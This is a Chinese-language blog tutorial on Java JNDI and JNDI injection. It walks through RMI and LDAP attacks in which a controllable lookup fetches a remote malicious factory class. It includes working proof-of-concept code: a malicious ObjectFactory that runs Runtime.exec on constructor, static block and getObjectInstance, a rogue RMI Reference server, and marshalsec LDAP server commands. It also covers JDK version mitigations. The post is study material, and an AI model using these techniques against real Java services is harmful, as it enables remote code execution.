0x00 前言
3号来的学校,现在已经11号了,大半月了,Pickle的练习写了几题也不想写了,别的也啥没学….每天不坚持写东西,真的会不知不觉间放弃学习。服务器还有40多天到期,本来想续费,结果阿里云原学生机,不能优惠续费了,只能原价续费(¥1400),真是天使呢🤗。它把原来的每年优惠续费换成了一个天使的免费领学生机x个月如果完成了训练还能免费续费x天,真是天使。不过还搞了一个老用户96每年,可当前价续费3年的1核2G,配置和学生机一样,而且好像原来学生机一年是114,看起来很好,实际是个大天使,它旁边还有一个面向新用户的99每年,当前价续费3年,配置是2核2G,存储盘还更大更好😅,我不能买。你说天使不天使,虽然我重新买96的看起来很好,毕竟我也不能当几年学生了,但是我反正都要重新配置,为什么不去用腾讯首年60,带宽为6M的捏….
废话了一大堆,本篇包含以下元素:
- JNDI的介绍
- 如何利用JNDI进行反序列化攻击
懒狗把写的Demo都放到Github了(chenlvtang/JavaUnserialization),可以fork一份来自己学一学
0x01 JNDI
简单介绍
JNDI的全名为’Java Naming and Directory Interface’,即Java命名和目录接口。通过它我们可以用一个统一的格式来调用RMI、JDBC、LDAP、DNS等服务,并且可以实现配置与业务的解耦,一个常见的例子就是JDBC的连接,在没有JNDI的情况下,我们常常用以下方式来连接:
try {
Class.forName("com.mysql.jdbc.Driver");
conn=DriverManager.getConnection("jdbc:mysql://test?user=admin&password=wow");
conn.close();
}catch(Exception e) {
e.printStackTrace();
}
但是当我们需要更换MySQL为SQLServer的时候,又需要在代码中去修改;或者,当我们需要更换MySQL数据库时,就要去代码中改变连接方式或者密码与用户。这样显然是非常不好的,于是JDNI便发挥了作用。我们可以在Tomcat的/conf/context.xml中进行如下配置:
<Resource name="mysql-jndi-test"
auth="Container"
type="javax.sql.DataSource"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://192.168.4.5:3306"
username="root"
password="pwd"
maxActiv ="20"
/>
<Resource name="sqlserver-jndi-test"
auth="Container"
type="javax.sql.DataSource"
driverClassName="com.sqlserver.jdbc.Driver"
url="jdbc:mysql://192.168.4.5:3306"
username="root"
password="pwd"
/>
然后在web.xml中引入:
<resource-ref>
<description>jndi data source test</description>
<res-ref-name>mysql-jndi-test</res-ref-name>
<res-type>javax.sql.DataSource</res-type>
<res-auth>Container</res-auth>
</resource-ref>
<resource-ref>
<description>jndi data source test</description>
<res-ref-name>sqlserver-jndi-test</res-ref-name>
<res-type>javax.sql.DataSource</res-type>
<res-auth>Container</res-auth>
</resource-ref>
之后我们就能够在代码中很方便的连接和更换数据库:
try {
Context context = new InitialContext();
//根据资源名称搜索
dataSource = (DataSource)context.lookup("java:comp/env/mysql-jndi-test");
Connection conn = dataSource.getConnection();
}
//...
可以看到,这时候如果我们需要更换数据库,只需要简单的改一个名字就好了,十分的方便与快捷捏😋。(事实上,上面的配置我自己没试过,大家体会下JDNI的应用就好了)
改写RMI
上面说到,通过JNDI我们可以用一个统一的格式来调用RMI、JDBC、LDAP、DNS等服务,这里我们就用JNDI来改写一下之前写过的RMI程序(关于Java中RMI的个人拙见)。
接口类和接口实现类不需要修改,只需要修改服务端和客户端:
//服务端
public class myServer {
public static void main(String[] args) throws RemoteException, MalformedURLException {
try {
LocateRegistry.createRegistry(1099);
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://127.0.0.1:1099");
Context ctx = new InitialContext(env);
RemoteInterface myRemote = new RemoteImpl();
ctx.rebind("myRMI", myRemote);
ctx.close();
} catch (NamingException e) {
e.printStackTrace();
}
}
}
中间那一坨是JNDI的初始化,然后我们还要对客户端进行一些修改:
//客户端
public class myClient {
public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
try {
String url = "rmi://127.0.0.1:1099/myRMI";
Context ctx = new InitialContext();
RemoteInterface myRemote = (RemoteInterface)ctx.lookup(url);
String result = myRemote.sayHello("chenlvtang");
System.out.println(result);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
然而我现在并没有体会到JNDI对RMI有什么帮助,大概就是如果调用了LDAP啥的,可以有一个统一的格式调用吧…
0x02 JNDI注入
Reference类
之前我们的绑定都是直接将类与名字进行绑定,但有时候一个类如果太大了的时候,就不太适合了。Java为此定义了Naming.Reference类,使我们可以绑定引用来实现类的绑定。使用方法如下:
Reference reference = new Reference("Exploit","Exploit","http://127.0.0.1/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
Reference中的第一个参数为ClassName,第二个参数为FactoryClassName,第三个参数为FactoryURL。当客户端进行lookup时,会先在本地(CLASSPATH)中寻找名字为FactoryClassName的类,如果不存在,则会到FactoryURL(支持HTTP或者FTP、File协议)中去寻找FactoryClass,然后使用FactoryClass.newInstance()来实例化。
可以看到,这里存在一个远程类的调用问题,如果客户端lookup的参数可被控制,那么就有可能将恶意类在客户端中执行。JNDI注入正是基于此,并借用RMI和LDAP来实现攻击(这两个都可返回reference类)。
动态协议转换
在JNDI中,客户端的lookup参数存在动态协议转换,即使服务端或者客户端指定了Context.PROVIDER_URL
, 但lookup参数函数会根据你提供的协议,进行不同的调用。所以当客户端的lookup参数可控时, 我们可以在自己的主机上搭起一个RMI或者LDAP服务器来进行攻击,而不用管代码实际上是进行哪种服务的lookup。
0x03 RMI-JNDI
思路
要利用RMI服务进行JNDI注入,需要JDK版本小于6u132、7u122、8u113,因为在之后的版本之中,设置了com.sun.jndi.rmi.object.trustURLCodebase=false
。这个参数对我们的影响,我们将在后面的代码调试中来具体分析,现在我们先来理清一下利用JNDI进行攻击的思路:
- 客户端JNDI的lookup参数可控(注意一定要使用JNDI,原因见后面的调试)
- 攻击者搭建一个Web服务器或者FTP服务器(File协议用于本地文件的访问),里面存放了精心构造的恶意类
- 攻击者构造一个Reference,并bind到注册中心
- 当客户端lookup我们的恶意类的时候,就会触发攻击
编写和部署恶意类
public class hacker{
public hacker() throws Exception{
Runtime.getRuntime().exec("calc.exe");
}
}
- 使用命令
javac hacker.java
来编译生成hacker.class,然后新建一个文件夹,把class放进去。 - 使用命令
python3 -m http.server 80
,来以当前文件夹为根目录搭起一个http服务
构造恶意服务端
public class hackerServer {
public static void main(String[] args) throws Exception{
Registry hackerRegister = LocateRegistry.getRegistry(1099);
Reference reference = new Reference("hacker","hacker","http://127.0.0.1/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
hackerRegister.bind("test",referenceWrapper);
}
}
攻击
- 先运行RMI服务端(如果在恶意服务端里创建了注册中心,就可以不用启动RMI服务端,我这里没写)
- 然后再运行恶意服务端
- 控制客户端的lookup参数,来访问
"rmi://127.0.0.1:1099/test"
😋然后就是…..虽然成功执行了命令,但是得到一个完美的报错捏:
问题不大,让我们重新写一下恶意类
恶意类的重新构造
搜索这个类,发现一个接口,所以我们就让恶意类实现一下:
public class hacker implements ObjectFactory {
public hacker() throws Exception{
Runtime.getRuntime().exec("calc.exe");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
成功执行,下面就让我们来调试,分析一下利用点吧🤗
调试
一步步调试直到命令执行,我们得到了如下的堆栈:
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:411, InitialContext (javax.naming)
main:18, myClient (edu.myJNDI.client)
getObjectInstance部分代码如下:
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {//...
查看触发处,是一个函数factory = getObjectFactoryFromReference(ref, f);
,进入查看:
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;
// Try to use current class loader 先从本地加载
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase 不在本地,则再远程加载
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);//在这里load了我们的远程类
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;//实例化触发我们的恶意类的构造函数,从而执行了命令
}
看到这里我们就能理解之前的报错和我们是如何成功执行命令的了(另外这里还显示了上文说过的现在本地查找再远程查找的代码)。之所以报错,是因为这里的(ObjectFactory) clas.newInstance()
进行了转换;而命令的成功执行,同样得益于(ObjectFactory) clas.newInstance()
的实例化,Java在实例化的时候,会初始化构造函数和static代码块,所以我们也可以写一个static的方法来试试:
public class hacker implements ObjectFactory {
// public hacker() throws Exception{
// Runtime.getRuntime().exec("calc.exe");
// }
static{
try{
Runtime.getRuntime().exec("calc.exe");
}catch(Exception e){
}
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
值得注意的是,我们留意到getObjectInstance中还有return factory.getObjectInstance(ref, name, nameCtx,environment);
,在这里调用了我们远程类中的getObjectInstance方法,而这在我们的恶意类中是可以重写的,所以这里又多了一个触发点,我们可以在其中构造payload。下面就让我们把payload总结一下吧😋
Payload总结
三种方法,每个都调用不同的Windows程序看看:
public class hacker implements ObjectFactory {
public hacker() throws Exception{
Runtime.getRuntime().exec("mspaint.exe");
}
static{
try{
Runtime.getRuntime().exec("calc.exe");
}catch(Exception e){
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("notepad.exe");
return null;
}
}
很顺利的调用了三个程序😋:
版本限制
上面我们使用的未进行限制的版本,下面我们使用8u113以上的JDK8来运行看看:
可以看到,报错了,并告诉我们要把com.sun.jndi.rmi.object.trustURLCodebase=false
设置为true,跟进代码,发现以下decodeObject:RegistryContext (com.sun.jndi.rmi.registry)
多了验证部分:
0x04 LDAP-JNDI
思路
LDAP的利用思路是一样的,它同样可以返回reference类,只是Java对LDAP的限制的比较晚😋,所以我们可利用的版本也就更多了。在6u211、7u201、8u191、11.0.1之前的版本都能够成功调用。
恶意类的编写和部署
就拿上面那个总结的payload吧,然后部署的话,也还是一样。
构造恶意服务端
由于我并不知道LDAP的服务端怎么写,并且我现在也并不清楚LDAP服务在Java中的调用原理,所以我构造不出😅。在网上找这部分资料的时候,大家也都和我一样懒狗,分析完RMI就懒得分析LDAP了,虽然这两个触发点是一样的,但是好歹讲讲LDAP是如何运行的啊…所以我只能像他们一样,利用工具mbechler/marshalsec来起一个LDAP服务器,并且它贴心的帮我们设置了Reference。有空懒狗去深入研究下
首先我们在Github上把源代码下载下来,然后用IDEA打开,这时候Maven会帮我自动下载好依赖,然后使用maven命令mvn clean package -DskipTests
来打包成jar。
打包好后,使用命令java -cp ./marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#hacker
来开启LDAP服务:
- -cp 指定class的路径,即marshalsec.jar中的marshalsec.jndi.LDAPRefServer
- http://127.0.0.1/#hacker 即为我们的codebase地址(FactoryURL)加上FactoryClass
- 其实最后还可以带上一个端口,用来指定LDAP服务的端口,如果不指定则默认是1389
攻击
- 搭起一个恶意服务端
- 控制客户端lookup的URL为
"ldap://127.0.0.1:1389/xxx"
进行访问,我发现甚至都不用像RMI一样指定键名,具体原因可能和LDAP有关
调试
一步步调试,直到触发漏洞,查看到调用栈如下:
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:188, DirectoryManager (javax.naming.spi)
c_lookup:1086, LdapCtx (com.sun.jndi.ldap)
p_lookup:544, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:411, InitialContext (javax.naming)
main:19, myClient (edu.myJNDI.client)
可以看到,除了多了几个lookup之外,触发点是相同的
接着我们来调试一下高版本,来看看限制,发现clas = helper.loadClass(factoryName, codebase);
没有成功调用,跟进发现,存在限制:
跳转到声明,这个变量是来自com.sun.jndi.ldap.object.trustURLCodebase
:
结束,以后再来填坑
0x05 参考
Java安全:JNDI注入. 关于JNDI注入的讨论和研究,起源于国外的安全研究员@pwntester在201… | by m01e | Medium
攻击Java中的JNDI、RMI、LDAP(二) - Y4er的博客
Java安全之JNDI注入 - 安全客,安全资讯平台 (anquanke.com)
Java安全之JNDI注入 - nice_0e3 - 博客园 (cnblogs.com)
JavaSec jndi注入利用分析 | thonsun’s blog